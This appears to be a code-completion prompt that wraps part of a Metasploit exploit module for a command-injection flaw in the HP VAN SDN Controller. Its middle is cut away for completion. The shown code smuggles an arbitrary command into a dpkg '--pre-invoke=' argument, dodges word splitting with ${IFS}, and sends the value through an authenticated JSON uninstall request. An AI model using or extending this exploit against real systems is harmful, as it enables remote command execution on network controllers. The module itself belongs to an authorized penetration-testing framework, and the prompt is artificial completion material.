You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: hp_van_sdn_cmd_inject.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  # server: grizzly/2.2.16
  HttpFingerprint = {pattern: [/^grizzly/]}

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'HP VAN SDN Controlle
    
  def execute_command(cmd)
    # Argument injection in /opt/sdn/admin/uninstall-dpkg
    injection = "--pre-invoke=#{cmd}"

    # Ensure we don't undergo word splitting
    injection = injection.gsub(/\s+/, '${IFS}')

    print_status("Injecting dpkg -r #{injection}")

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => '/',
      'headers' => {'X-Auth-Token' => auth_token},
      'ctype'   => 'application/json',
      'data'    => {'action' => 'uninstall', 'name' => injection}.to_json
    }, 0)
  end

  def auth_token
    return @auth_token if @auth_token

    token    = datastore['TOKEN']
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    if token && !token.empty?
      print_status("Authenticating with service token #{token}")
      @auth_token = token
      return @auth_token
    end

    print_status("Authenticating with creds #{username}:#{password}")

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/sdn/ui/app/login',
      'rport'     => datastore['WEBUI_PORT'],
      'vars_post' => {'username' => username, 'password' => password}
    )

    unless res && res.get_cookies.include?('X-Auth-Token')
      print_error('Invalid username and/or password specified')
      return
    end